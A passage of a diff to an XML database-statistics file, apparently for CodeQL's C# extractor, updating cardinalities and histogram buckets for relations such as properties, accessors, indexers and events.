+<v>73</v> </b> <b> -<a>10</a> -<b>12</b> -<v>53</v> +<a>9</a> +<b>13</b> +<v>83</v> </b> <b> -<a>12</a> -<b>16</b> -<v>71</v> +<a>14</a> +<b>20</b> +<v>66</v> </b> <b> -<a>16</a> -<b>22</b> +<a>20</a> +<b>29</b> <v>70</v> </b> <b> -<a>22</a> -<b>33</b> -<v>73</v> +<a>29</a> +<b>76</b> +<v>71</v> </b> <b> -<a>33</a> -<b>93</b> -<v>73</v> -</b> -<b> -<a>95</a> -<b>6991</b> -<v>56</v> +<a>77</a> +<b>4327</b> +<v>57</v> </b> </bs> </hist> @@ -16703,12 +16789,12 @@ <b> <a>1</a> <b>2</b> -<v>895</v> +<v>890</v> </b> <b> <a>2</a> <b>3</b> -<v>32</v> +<v>22</v> </b> </bs> </hist> @@ -16747,6 +16833,11 @@ <v>1</v> </b> <b> +<a>12</a> +<b>13</b> +<v>1</v> +</b> +<b> <a>16</a> <b>17</b> <v>1</v> @@ -16757,18 +16848,13 @@ <v>1</v> </b> <b> -<a>22</a> -<b>23</b> +<a>24</a> +<b>25</b> <v>1</v> </b> <b> -<a>30</a> -<b>31</b> -<v>1</v> -</b> -<b> -<a>62</a> -<b>63</b> +<a>64</a> +<b>65</b> <v>1</v> </b> <b> @@ -16777,18 +16863,18 @@ <v>1</v> </b> <b> -<a>273</a> -<b>274</b> +<a>117</a> +<b>118</b> <v>1</v> </b> <b> -<a>390</a> -<b>391</b> +<a>386</a> +<b>387</b> <v>1</v> </b> <b> -<a>38794</a> -<b>38795</b> +<a>30586</a> +<b>30587</b> <v>1</v> </b> </bs> @@ -16823,9 +16909,9 @@ <v>2</v> </b> <b> -<a>8</a> -<b>9</b> -<v>1</v> +<a>9</a> +<b>10</b> +<v>2</v> </b> <b> <a>12</a> @@ -16833,18 +16919,13 @@ <v>1</v> </b> <b> -<a>20</a> -<b>21</b> +<a>43</a> +<b>44</b> <v>1</v> </b> <b> -<a>44</a> -<b>45</b> -<v>1</v> -</b> -<b> -<a>850</a> -<b>851</b> +<a>836</a> +<b>837</b> <v>1</v> </b> </bs> @@ -16854,6 +16935,134 @@ </dependencies> </relation> <relation> +<name>function_pointer_calling_conventions</name> +<cardinality>11</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>11</v> +</e> +<e> +<k>kind</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>kind</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>kind</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>9</a> +<b>10</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>has_unmanaged_calling_conventions</name> +<cardinality>0</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>0</v> +</e> +<e> +<k>index</k> +<v>0</v> +</e> +<e> +<k>conv_id</k> +<v>0</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>conv_id</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +<dep> +<src>index</src> +<trg>conv_id</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +<dep> +<src>conv_id</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +<dep> +<src>conv_id</src> +<trg>index</trg> +<val> +<hist> +<budget>12</budget> +<bs/> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> <name>modifiers</name> <cardinality>82</cardinality> <columnsizes> @@ -16903,11 +17112,11 @@ </relation> <relation> <name>has_modifiers</name> -<cardinality>5507681</cardinality> +<cardinality>5484722</cardinality> <columnsizes> <e> <k>id</k> -<v>3698681</v> +<v>3683263</v> </e> <e> <k>mod_id</k> @@ -16925,17 +17134,17 @@ <b> <a>1</a> <b>2</b> -<v>2025460</v> +<v>2017016</v> </b> <b> <a>2</a> <b>3</b> -<v>1539288</v> +<v>1532872</v> </b> <b> <a>3</a> <b>5</b> -<v>133932</v> +<v>133374</v> </b> </bs> </hist> @@ -17041,26 +17250,26 @@ </relation> <relation> <name>compiler_generated</name> -<cardinality>136139</cardinality> +<cardinality>135571</cardinality> <columnsizes> <e> <k>id</k> -<v>136139</v> +<v>135571</v> </e> </columnsizes> <dependencies/> </relation> <relation> <name>exprorstmt_name</name> -<cardinality>3710</cardinality> +<cardinality>3758</cardinality> <columnsizes> <e> <k>parent_id</k> -<v>3710</v> +<v>3758</v> </e> <e> <k>name</k> -<v>366</v> +<v>374</v> </e> </columnsizes> <dependencies> @@ -17074,7 +17283,7 @@ <b> <a>1</a> <b>2</b> -<v>3710</v> +<v>3758</v> </b> </bs> </hist> @@ -17090,47 +17299,47 @@ <b> <a>2</a> <b>3</b> -<v>107</v> +<v>110</v> </b> <b> <a>3</a> <b>4</b> -<v>54</v> +<v>56</v> </b> <b> <a>4</a> <b>5</b> -<v>46</v> +<v>51</v> </b> <b> <a>5</a> <b>6</b> -<v>32</v> +<v>34</v> </b> <b> <a>6</a> <b>8</b> -<v>31</v> +<v>32</v> </b> <b> <a>8</a> -<b>11</b> -<v>30</v> -</b> -<b> -<a>11</a> -<b>21</b> -<v>29</v> -</b> -<b> -<a>21</a> -<b>85</b> +<b>12</b> <v>28</v> </b> <b> -<a>118</a> +<a>12</a> +<b>23</b> +<v>31</v> +</b> +<b> +<a>25</a> +<b>214</b> +<v>28</v> +</b> +<b> +<a>239</a> <b>240</b> -<v>6</v> +<v>1</v> </b> </bs> </hist> @@ -17140,19 +17349,19 @@ </relation> <relation> <name>nested_types</name> -<cardinality>112176</cardinality> +<cardinality>111709</cardinality> <columnsizes> <e> <k>id</k> -<v>112176</v> +<v>111709</v> </e> <e> <k>declaring_type_id</k> -<v>40685</v> +<v>40515</v> </e> <e> <k>unbound_id</k> -<v>81292</v> +<v>80954</v> </e> </columnsizes> <dependencies> @@ -17166,7 +17375,7 @@ <b> <a>1</a> <b>2</b> -<v>112176</v> +<v>111709</v> </b> </bs> </hist> @@ -17182,7 +17391,7 @@ <b> <a>1</a> <b>2</b> -<v>112176</v> +<v>111709</v> </b> </bs> </hist> @@ -17198,32 +17407,32 @@ <b> <a>1</a> <b>2</b> -<v>23537</v> +<v>23439</v> </b> <b> <a>2</a> <b>3</b> -<v>6350</v> +<v>6324</v> </b> <b> <a>3</a> <b>4</b> -<v>3236</v> +<v>3222</v> </b> <b> <a>4</a> <b>7</b> -<v>3363</v> +<v>3349</v> </b> <b> <a>7</a> <b>12</b> -<v>3099</v> +<v>3086</v> </b> <b> <a>12</a> <b>262</b> -<v>1098</v> +<v>1093</v> </b> </bs> </hist> @@ -17239,32 +17448,32 @@ <b> <a>1</a> <b>2</b> -<v>23571</v> +<v>23473</v> </b> <b> <a>2</a> <b>3</b> -<v>6433</v> +<v>6406</v> </b> <b> <a>3</a> <b>4</b> -<v>3153</v> +<v>3140</v> </b> <b> <a>4</a> <b>7</b> -<v>3392</v> +<v>3378</v> </b> <b> <a>7</a> <b>12</b> -<v>3084</v> +<v>3072</v> </b> <b> <a>12</a> <b>206</b> -<v>1049</v> +<v>1045</v> </b> </bs> </hist> @@ -17280,12 +17489,12 @@ <b> <a>1</a> <b>2</b> -<v>78271</v> +<v>77945</v> </b> <b> <a>2</a> <b>415</b> -<v>3021</v> +<v>3008</v> </b> </bs> </hist> @@ -17301,12 +17510,12 @@ <b> <a>1</a> <b>2</b> -<v>79013</v> +<v>78683</v> </b> <b> <a>2</a> <b>415</b> -<v>2279</v> +<v>2270</v> </b> </bs> </hist> @@ -17316,27 +17525,27 @@ </relation> <relation> <name>properties</name> -<cardinality>424457</cardinality> +<cardinality>422687</cardinality> <columnsizes> <e> <k>id</k> -<v>424457</v> +<v>422687</v> </e> <e> <k>name</k> -<v>84543</v> +<v>84191</v> </e> <e> <k>declaring_type_id</k> -<v>116628</v> +<v>116142</v> </e> <e> <k>type_id</k> -<v>52239</v> +<v>52021</v> </e> <e> <k>unbound_id</k> -<v>334573</v> +<v>333178</v> </e> </columnsizes> <dependencies> @@ -17350,7 +17559,7 @@ <b> <a>1</a> <b>2</b> -<v>424457</v> +<v>422687</v> </b> </bs> </hist> @@ -17366,7 +17575,7 @@ <b> <a>1</a> <b>2</b> -<v>424457</v> +<v>422687</v> </b> </bs> </hist> @@ -17382,7 +17591,7 @@ <b> <a>1</a> <b>2</b> -<v>424457</v> +<v>422687</v> </b> </bs> </hist> @@ -17398,7 +17607,7 @@ <b> <a>1</a> <b>2</b> -<v>424457</v> +<v>422687</v> </b> </bs> </hist> @@ -17414,32 +17623,32 @@ <b> <a>1</a> <b>2</b> -<v>50862</v> +<v>50650</v> </b> <b> <a>2</a> <b>3</b> -<v>14023</v> +<v>13965</v> </b> <b> <a>3</a> <b>4</b> -<v>5764</v> +<v>5740</v> </b> <b> <a>4</a> <b>7</b> -<v>6662</v> +<v>6635</v> </b> <b> <a>7</a> <b>49</b> -<v>6350</v> +<v>6324</v> </b> <b> <a>49</a> <b>2611</b> -<v>878</v> +<v>874</v> </b> </bs> </hist> @@ -17455,32 +17664,32 @@ <b> <a>1</a> <b>2</b> -<v>50862</v> +<v>50650</v> </b> <b> <a>2</a> <b>3</b> -<v>14092</v> +<v>14033</v> </b> <b> <a>3</a> <b>4</b> -<v>5750</v> +<v>5726</v> </b> <b> <a>4</a> <b>7</b> -<v>6697</v> +<v>6669</v> </b> <b> <a>7</a> <b>51</b> -<v>6345</v> +<v>6319</v> </b> <b> <a>51</a> <b>2578</b> -<v>795</v> +<v>792</v> </b> </bs> </hist> @@ -17496,17 +17705,17 @@ <b> <a>1</a> <b>2</b> -<v>72994</v> +<v>72690</v> </b> <b> <a>2</a> <b>3</b> -<v>6946</v> +<v>6917</v> </b> <b> <a>3</a> <b>524</b> -<v>4603</v> +<v>4583</v> </b> </bs> </hist> @@ -17522,32 +17731,32 @@ <b> <a>1</a> <b>2</b> -<v>51292</v> +<v>51078</v> </b> <b> <a>2</a> <b>3</b> -<v>14287</v> +<v>14227</v> </b> <b> <a>3</a> <b>4</b> -<v>5750</v> +<v>5726</v> </b> <b> <a>4</a> <b>7</b> -<v>6457</v> +<v>6431</v> </b> <b> <a>7</a> <b>68</b> -<v>6340</v> +<v>6314</v> </b> <b> <a>68</a> <b>2018</b> -<v>414</v> +<v>413</v> </b> </bs> </hist> @@ -17563,42 +17772,42 @@ <b> <a>1</a> <b>2</b> -<v>39470</v> +<v>39305</v> </b> <b> <a>2</a> <b>3</b> -<v>29932</v> +<v>29807</v> </b> <b> <a>3</a> <b>4</b> -<v>10924</v> +<v>10878</v> </b> <b> <a>4</a> <b>5</b> -<v>7858</v> +<v>7826</v> </b> <b> <a>5</a> <b>6</b> -<v>7146</v> +<v>7116</v> </b> <b> <a>6</a> <b>8</b> -<v>9347</v> +<v>9308</v> </b> <b> <a>8</a> <b>16</b> -<v>9586</v> +<v>9546</v> </b> <b> <a>16</a> <b>250</b> -<v>2362</v> +<v>2352</v> </b> </bs> </hist> @@ -17614,42 +17823,42 @@ <b> <a>1</a> <b>2</b> -<v>43990</v> +<v>43806</v> </b> <b> <a>2</a> <b>3</b> -<v>25490</v> +<v>25383</v> </b> <b> <a>3</a> <b>4</b> -<v>10919</v> +<v>10873</v> </b> <b> <a>4</a> <b>5</b> -<v>7878</v> +<v>7845</v> </b> <b> <a>5</a> <b>6</b> -<v>7160</v> +<v>7130</v> </b> <b> <a>6</a> <b>8</b> -<v>9303</v> +<v>9264</v> </b> <b> <a>8</a> <b>14</b> -<v>8761</v> +<v>8725</v> </b> <b> <a>14</a> <b>250</b> -<v>3124</v> +<v>3111</v> </b> </bs> </hist> @@ -17665,32 +17874,32 @@ <b> <a>1</a> <b>2</b> -<v>45547</v> +<v>45357</v> </b> <b> <a>2</a> <b>3</b> -<v>32685</v> +<v>32548</v> </b> <b> <a>3</a> <b>4</b> -<v>13867</v> +<v>13809</v> </b> <b> <a>4</a> <b>5</b> -<v>7561</v> +<v>7529</v> </b> <b> <a>5</a> <b>7</b> -<v>9401</v> +<v>9362</v> </b> <b> <a>7</a> <b>48</b> -<v>7565</v> +<v>7534</v> </b> </bs> </hist> @@ -17706,42 +17915,42 @@ <b> <a>1</a> <b>2</b> -<v>39470</v> +<v>39305</v> </b> <b> <a>2</a> <b>3</b> -<v>29932</v> +<v>29807</v> </b> <b> <a>3</a> <b>4</b> -<v>10924</v> +<v>10878</v> </b> <b> <a>4</a> <b>5</b> -<v>7858</v> +<v>7826</v> </b> <b> <a>5</a> <b>6</b> -<v>7146</v> +<v>7116</v> </b> <b> <a>6</a> <b>8</b> -<v>9347</v> +<v>9308</v> </b> <b> <a>8</a> <b>16</b> -<v>9586</v> +<v>9546</v> </b> <b> <a>16</a> <b>250</b> -<v>2362</v> +<v>2352</v> </b> </bs> </hist> @@ -17757,27 +17966,27 @@ <b> <a>1</a> <b>2</b> -<v>31484</v> +<v>31353</v> </b> <b> <a>2</a> <b>3</b> -<v>10802</v> +<v>10757</v> </b> <b> <a>3</a> <b>5</b> -<v>4642</v> +<v>4622</v> </b> <b> <a>5</a> <b>21</b> -<v>3953</v> +<v>3937</v> </b> <b> <a>21</a> <b>12516</b> -<v>1356</v> +<v>1351</v> </b> </bs> </hist> @@ -17793,17 +18002,17 @@ <b> <a>1</a> <b>2</b> -<v>44170</v> +<v>43986</v> </b> <b> <a>2</a> <b>3</b> -<v>4407</v> +<v>4389</v> </b> <b> <a>3</a> <b>3289</b> -<v>3660</v> +<v>3645</v> </b> </bs> </hist> @@ -17819,27 +18028,27 @@ <b> <a>1</a> <b>2</b> -<v>32670</v> +<v>32534</v> </b> <b> <a>2</a> <b>3</b> -<v>10504</v> +<v>10460</v> </b> <b> <a>3</a> <b>5</b> -<v>4432</v> +<v>4413</v> </b> <b> <a>5</a> <b>33</b> -<v>3919</v> +<v>3903</v> </b> <b> <a>33</a> <b>6176</b> -<v>712</v> +<v>709</v> </b> </bs> </hist> @@ -17855,27 +18064,27 @@ <b> <a>1</a> <b>2</b> -<v>31625</v> +<v>31494</v> </b> <b> <a>2</a> <b>3</b> -<v>10934</v> +<v>10888</v> </b> <b> <a>3</a> <b>5</b> -<v>4676</v> +<v>4656</v> </b> <b> <a>5</a> <b>22</b> -<v>3919</v> +<v>3903</v> </b> <b> <a>22</a> <b>10632</b> -<v>1083</v> +<v>1079</v> </b> </bs> </hist> @@ -17891,12 +18100,12 @@ <b> <a>1</a> <b>2</b> -<v>329389</v> +<v>328016</v> </b> <b> <a>2</a> <b>705</b> -<v>5183</v> +<v>5162</v> </b> </bs> </hist> @@ -17912,7 +18121,7 @@ <b> <a>1</a> <b>2</b> -<v>334573</v> +<v>333178</v> </b> </bs> </hist> @@ -17928,12 +18137,12 @@ <b> <a>1</a> <b>2</b> -<v>329389</v> +<v>328016</v> </b> <b> <a>2</a> <b>705</b> -<v>5183</v> +<v>5162</v> </b> </bs> </hist> @@ -17949,12 +18158,12 @@ <b> <a>1</a> <b>2</b> -<v>333362</v> +<v>331972</v> </b> <b> <a>2</a> <b>439</b> -<v>1210</v> +<v>1205</v> </b> </bs> </hist> @@ -17964,15 +18173,15 @@ </relation> <relation> <name>property_location</name> -<cardinality>535613</cardinality> +<cardinality>533380</cardinality> <columnsizes> <e> <k>id</k> -<v>424457</v> +<v>422687</v> </e> <e> <k>loc</k> -<v>53010</v> +<v>52789</v> </e> </columnsizes> <dependencies> @@ -17986,17 +18195,17 @@ <b> <a>1</a> <b>2</b> -<v>338844</v> +<v>337431</v> </b> <b> <a>2</a> <b>3</b> -<v>64247</v> +<v>63979</v> </b> <b> <a>3</a> <b>119</b> -<v>21365</v> +<v>21276</v> </b> </bs> </hist> @@ -18012,12 +18221,12 @@ <b> <a>1</a> <b>2</b> -<v>49520</v> +<v>49314</v> </b> <b> <a>2</a> <b>7080</b> -<v>3490</v> +<v>3475</v> </b> </bs> </hist> @@ -18027,11 +18236,11 @@ </relation> <relation> <name>indexers</name> -<cardinality>17079</cardinality> +<cardinality>17008</cardinality> <columnsizes> <e> <k>id</k> -<v>17079</v> +<v>17008</v> </e> <e> <k>name</k> @@ -18039,15 +18248,15 @@ </e> <e> <k>declaring_type_id</k> -<v>13579</v> +<v>13523</v> </e> <e> <k>type_id</k> -<v>3978</v> +<v>3961</v> </e> <e> <k>unbound_id</k> -<v>4446</v> +<v>4428</v> </e> </columnsizes> <dependencies> @@ -18061,7 +18270,7 @@ <b> <a>1</a> <b>2</b> -<v>17079</v> +<v>17008</v> </b> </bs> </hist> @@ -18077,7 +18286,7 @@ <b> <a>1</a> <b>2</b> -<v>17079</v> +<v>17008</v> </b> </bs> </hist> @@ -18093,7 +18302,7 @@ <b> <a>1</a> <b>2</b> -<v>17079</v> +<v>17008</v> </b> </bs> </hist> @@ -18109,7 +18318,7 @@ <b> <a>1</a> <b>2</b> -<v>17079</v> +<v>17008</v> </b> </bs> </hist> @@ -18244,17 +18453,17 @@ <b> <a>1</a> <b>2</b> -<v>10528</v> +<v>10485</v> </b> <b> <a>2</a> <b>3</b> -<v>2753</v> +<v>2741</v> </b> <b> <a>3</a> <b>7</b> -<v>297</v> +<v>296</v> </b> </bs> </hist> @@ -18270,7 +18479,7 @@ <b> <a>1</a> <b>2</b> -<v>13569</v> +<v>13513</v> </b> <b> <a>2</a> @@ -18291,12 +18500,12 @@ <b> <a>1</a> <b>2</b> -<v>11070</v> +<v>11024</v> </b> <b> <a>2</a> <b>3</b> -<v>2508</v> +<v>2498</v> </b> </bs> </hist> @@ -18312,17 +18521,17 @@ <b> <a>1</a> <b>2</b> -<v>10528</v> +<v>10485</v> </b> <b> <a>2</a> <b>3</b> -<v>2753</v> +<v>2741</v> </b> <b> <a>3</a> <b>7</b> -<v>297</v> +<v>296</v> </b> </bs> </hist> @@ -18338,27 +18547,27 @@ <b> <a>1</a> <b>2</b> -<v>878</v> +<v>874</v> </b> <b> <a>2</a> <b>3</b> -<v>873</v> +<v>870</v> </b> <b> <a>3</a> <b>4</b> -<v>1630</v> +<v>1623</v> </b> <b> <a>4</a> <b>6</b> -<v>268</v> +<v>267</v> </b> <b> <a>6</a> <b>18</b> -<v>302</v> +<v>301</v> </b> <b> <a>18</a> @@ -18379,7 +18588,7 @@ <b> <a>1</a> <b>2</b> -<v>3973</v> +<v>3956</v> </b> <b> <a>2</a> @@ -18400,27 +18609,27 @@ <b> <a>1</a> <b>2</b> -<v>1034</v> +<v>1030</v> </b> <b> <a>2</a> <b>3</b> -<v>781</v> +<v>777</v> </b> <b> <a>3</a> <b>4</b> -<v>1664</v> +<v>1657</v> </b> <b> <a>4</a> <b>6</b> -<v>239</v> +<v>238</v> </b> <b> <a>6</a> <b>978</b> -<v>258</v> +<v>257</v> </b> </bs> </hist> @@ -18436,27 +18645,27 @@ <b> <a>1</a> <b>2</b> -<v>878</v> +<v>874</v> </b> <b> <a>2</a> <b>3</b> -<v>873</v> +<v>870</v> </b> <b> <a>3</a> <b>4</b> -<v>1654</v> +<v>1647</v> </b> <b> <a>4</a> <b>6</b> -<v>268</v> +<v>267</v> </b> <b> <a>6</a> <b>198</b> -<v>302</v> +<v>301</v> </b> </bs> </hist> @@ -18472,12 +18681,12 @@ <b> <a>1</a> <b>2</b> -<v>4110</v> +<v>4092</v> </b> <b> <a>2</a> <b>452</b> -<v>336</v> +<v>335</v> </b> </bs> </hist> @@ -18493,7 +18702,7 @@ <b> <a>1</a> <b>2</b> -<v>4446</v> +<v>4428</v> </b> </bs> </hist> @@ -18509,12 +18718,12 @@ <b> <a>1</a> <b>2</b> -<v>4110</v> +<v>4092</v> </b> <b> <a>2</a> <b>452</b> -<v>336</v> +<v>335</v> </b> </bs> </hist> @@ -18530,12 +18739,12 @@ <b> <a>1</a> <b>2</b> -<v>4256</v> +<v>4238</v> </b> <b> <a>2</a> <b>452</b> -<v>190</v> +<v>189</v> </b> </bs> </hist> @@ -18545,15 +18754,15 @@ </relation> <relation> <name>indexer_location</name> -<cardinality>23899</cardinality> +<cardinality>23715</cardinality> <columnsizes> <e> <k>id</k> -<v>12715</v> +<v>12621</v> </e> <e> <k>loc</k> -<v>220</v> +<v>221</v> </e> </columnsizes> <dependencies> @@ -18567,17 +18776,17 @@ <b> <a>1</a> <b>2</b> -<v>4499</v> +<v>4492</v> </b> <b> <a>2</a> <b>3</b> -<v>6699</v> +<v>6615</v> </b> <b> <a>3</a> <b>4</b> -<v>288</v> +<v>285</v> </b> <b> <a>4</a> @@ -18603,12 +18812,12 @@ <b> <a>1</a> <b>2</b> -<v>75</v> +<v>76</v> </b> <b> <a>2</a> <b>3</b> -<v>22</v> +<v>23</v> </b> <b> <a>3</a> @@ -18623,17 +18832,17 @@ <b> <a>5</a> <b>8</b> -<v>17</v> +<v>18</v> </b> <b> <a>8</a> <b>13</b> -<v>17</v> +<v>16</v> </b> <b> <a>13</a> <b>21</b> -<v>19</v> +<v>18</v> </b> <b> <a>23</a> @@ -18642,12 +18851,12 @@ </b> <b> <a>47</a> -<b>2441</b> +<b>2230</b> <v>17</v> </b> <b> <a>3540</a> -<b>5342</b> +<b>5425</b> <v>3</v> </b> </bs> @@ -18658,11 +18867,11 @@ </relation> <relation> <name>accessors</name> -<cardinality>569109</cardinality> +<cardinality>566736</cardinality> <columnsizes> <e> <k>id</k> -<v>569109</v> +<v>566736</v> </e> <e> <k>kind</k> @@ -18670,15 +18879,15 @@ </e> <e> <k>name</k> -<v>121509</v> +<v>121003</v> </e> <e> <k>declaring_member_id</k> -<v>441536</v> +<v>439696</v> </e> <e> <k>unbound_id</k> -<v>441385</v> +<v>439545</v> </e> </columnsizes> <dependencies> @@ -18692,7 +18901,7 @@ <b> <a>1</a> <b>2</b> -<v>569109</v> +<v>566736</v> </b> </bs> </hist> @@ -18708,7 +18917,7 @@ <b> <a>1</a> <b>2</b> -<v>569109</v> +<v>566736</v> </b> </bs> </hist> @@ -18724,7 +18933,7 @@ <b> <a>1</a> <b>2</b> -<v>569109</v> +<v>566736</v> </b> </bs> </hist> @@ -18740,7 +18949,7 @@ <b> <a>1</a> <b>2</b> -<v>569109</v> +<v>566736</v> </b> </bs> </hist> @@ -18840,27 +19049,27 @@ <b> <a>1</a> <b>2</b> -<v>75357</v> +<v>75043</v> </b> <b> <a>2</a> <b>3</b> -<v>19993</v> +<v>19910</v> </b> <b> <a>3</a> <b>4</b> -<v>7946</v> +<v>7913</v> </b> <b> <a>4</a> <b>8</b> -<v>10148</v> +<v>10105</v> </b> <b> <a>8</a> <b>2558</b> -<v>8063</v> +<v>8030</v> </b> </bs> </hist> @@ -18876,7 +19085,7 @@ <b> <a>1</a> <b>2</b> -<v>121509</v> +<v>121003</v> </b> </bs> </hist> @@ -18892,27 +19101,27 @@ <b> <a>1</a> <b>2</b> -<v>75367</v> +<v>75052</v> </b> <b> <a>2</a> <b>3</b> -<v>19983</v> +<v>19900</v> </b> <b> <a>3</a> <b>4</b> -<v>7946</v> +<v>7913</v> </b> <b> <a>4</a> <b>8</b> -<v>10148</v> +<v>10105</v> </b> <b> <a>8</a> <b>2558</b> -<v>8063</v> +<v>8030</v> </b> </bs> </hist> @@ -18928,27 +19137,27 @@ <b> <a>1</a> <b>2</b> -<v>76006</v> +<v>75689</v> </b> <b> <a>2</a> <b>3</b> -<v>20662</v> +<v>20576</v> </b> <b> <a>3</a> <b>4</b> -<v>7780</v> +<v>7748</v> </b> <b> <a>4</a> <b>8</b> -<v>9674</v> +<v>9634</v> </b> <b> <a>8</a> <b>1202</b> -<v>7385</v> +<v>7354</v> </b> </bs> </hist> @@ -18964,12 +19173,12 @@ <b> <a>1</a> <b>2</b> -<v>313974</v> +<v>312665</v> </b> <b> <a>2</a> <b>3</b> -<v>127557</v> +<v>127026</v> </b> <b> <a>4</a> @@ -18990,12 +19199,12 @@ <b> <a>1</a> <b>2</b> -<v>313974</v> +<v>312665</v> </b> <b> <a>2</a> <b>3</b> -<v>127562</v> +<v>127030</v> </b> </bs> </hist> @@ -19011,12 +19220,12 @@ <b> <a>1</a> <b>2</b> -<v>313974</v> +<v>312665</v> </b> <b> <a>2</a> <b>3</b> -<v>127562</v> +<v>127030</v> </b> </bs> </hist> @@ -19032,12 +19241,12 @@ <b> <a>1</a> <b>2</b> -<v>313974</v> +<v>312665</v> </b> <b> <a>2</a> <b>3</b> -<v>127557</v> +<v>127026</v> </b> <b> <a>4</a> @@ -19058,12 +19267,12 @@ <b> <a>1</a> <b>2</b> -<v>434707</v> +<v>432895</v> </b> <b> <a>2</a> <b>705</b> -<v>6677</v> +<v>6649</v> </b> </bs> </hist> @@ -19079,7 +19288,7 @@ <b> <a>1</a> <b>2</b> -<v>441385</v> +<v>439545</v> </b> </bs> </hist> @@ -19095,7 +19304,7 @@ <b> <a>1</a> <b>2</b> -<v>441385</v> +<v>439545</v> </b> </bs> </hist> @@ -19111,12 +19320,12 @@ <b> <a>1</a> <b>2</b> -<v>434707</v> +<v>432895</v> </b> <b> <a>2</a> <b>705</b> -<v>6677</v> +<v>6649</v> </b> </bs> </hist> @@ -19137,15 +19346,15 @@ </relation> <relation> <name>accessor_location</name> -<cardinality>749399</cardinality> +<cardinality>746275</cardinality> <columnsizes> <e> <k>id</k> -<v>569109</v> +<v>566736</v> </e> <e> <k>loc</k> -<v>93418</v> +<v>93028</v> </e> </columnsizes> <dependencies> @@ -19159,17 +19368,17 @@ <b> <a>1</a> <b>2</b> -<v>433653</v> +<v>431845</v> </b> <b> <a>2</a> <b>3</b> -<v>98621</v> +<v>98210</v> </b> <b> <a>3</a> <b>119</b> -<v>36834</v> +<v>36680</v> </b> </bs> </hist> @@ -19185,12 +19394,12 @@ <b> <a>1</a> <b>2</b> -<v>89805</v> +<v>89431</v> </b> <b> <a>2</a> <b>8294</b> -<v>3612</v> +<v>3597</v> </b> </bs> </hist> @@ -19200,27 +19409,27 @@ </relation> <relation> <name>events</name> -<cardinality>15263</cardinality> +<cardinality>15200</cardinality> <columnsizes> <e> <k>id</k> -<v>15263</v> +<v>15200</v> </e> <e> <k>name</k> -<v>13018</v> +<v>12964</v> </e> <e> <k>declaring_type_id</k> -<v>1230</v> +<v>1224</v> </e> <e> <k>type_id</k> -<v>6379</v> +<v>6353</v> </e> <e> <k>unbound_id</k> -<v>15254</v> +<v>15190</v> </e> </columnsizes> <dependencies> @@ -19234,7 +19443,7 @@ <b> <a>1</a> <b>2</b> -<v>15263</v> +<v>15200</v> </b> </bs> </hist> @@ -19250,7 +19459,7 @@ <b> <a>1</a> <b>2</b> -<v>15263</v> +<v>15200</v> </b> </bs> </hist> @@ -19266,7 +19475,7 @@ <b> <a>1</a> <b>2</b> -<v>15263</v> +<v>15200</v> </b> </bs> </hist> @@ -19282,7 +19491,7 @@ <b> <a>1</a> <b>2</b> -<v>15263</v> +<v>15200</v> </b> </bs> </hist> @@ -19298,12 +19507,12 @@ <b> <a>1</a> <b>2</b> -<v>12027</v> +<v>11977</v> </b> <b> <a>2</a> <b>12</b> -<v>981</v> +<v>977</v> </b> <b> <a>14</a> @@ -19324,12 +19533,12 @@ <b> <a>1</a> <b>2</b> -<v>12027</v> +<v>11977</v> </b> <b> <a>2</a> <b>10</b> -<v>981</v> +<v>977</v> </b> <b> <a>14</a> @@ -19350,12 +19559,12 @@ <b> <a>1</a> <b>2</b> -<v>12876</v> +<v>12823</v> </b> <b> <a>2</a> <b>10</b> -<v>141</v> +<v>140</v> </b> </bs> </hist> @@ -19371,12 +19580,12 @@ <b> <a>1</a> <b>2</b> -<v>12027</v> +<v>11977</v> </b> <b> <a>2</a> <b>12</b> -<v>981</v> +<v>977</v> </b> <b> <a>14</a> @@ -19397,12 +19606,12 @@ <b> <a>1</a> <b>2</b> -<v>619</v> +<v>617</v> </b> <b> <a>2</a> <b>3</b> -<v>229</v> +<v>228</v> </b> <b> <a>3</a> @@ -19412,7 +19621,7 @@ <b> <a>4</a> <b>8</b> -<v>107</v> +<v>106</v> </b> <b> <a>8</a> @@ -19422,7 +19631,7 @@ <b> <a>58</a> <b>465</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -19438,12 +19647,12 @@ <b> <a>1</a> <b>2</b> -<v>619</v> +<v>617</v> </b> <b> <a>2</a> <b>3</b> -<v>239</v> +<v>238</v> </b> <b> <a>3</a> @@ -19463,7 +19672,7 @@ <b> <a>58</a> <b>465</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -19479,12 +19688,12 @@ <b> <a>1</a> <b>2</b> -<v>771</v> +<v>768</v> </b> <b> <a>2</a> <b>3</b> -<v>200</v> +<v>199</v> </b> <b> <a>3</a> @@ -19499,7 +19708,7 @@ <b> <a>12</a> <b>181</b> -<v>78</v> +<v>77</v> </b> </bs> </hist> @@ -19515,12 +19724,12 @@ <b> <a>1</a> <b>2</b> -<v>619</v> +<v>617</v> </b> <b> <a>2</a> <b>3</b> -<v>229</v> +<v>228</v> </b> <b> <a>3</a> @@ -19530,7 +19739,7 @@ <b> <a>4</a> <b>8</b> -<v>107</v> +<v>106</v> </b> <b> <a>8</a> @@ -19540,7 +19749,7 @@ <b> <a>58</a> <b>465</b> -<v>73</v> +<v>72</v> </b> </bs> </hist> @@ -19556,22 +19765,22 @@ <b> <a>1</a> <b>2</b> -<v>4422</v> +<v>4404</v> </b> <b> <a>2</a> <b>3</b> -<v>1166</v> +<v>1161</v> </b> <b> 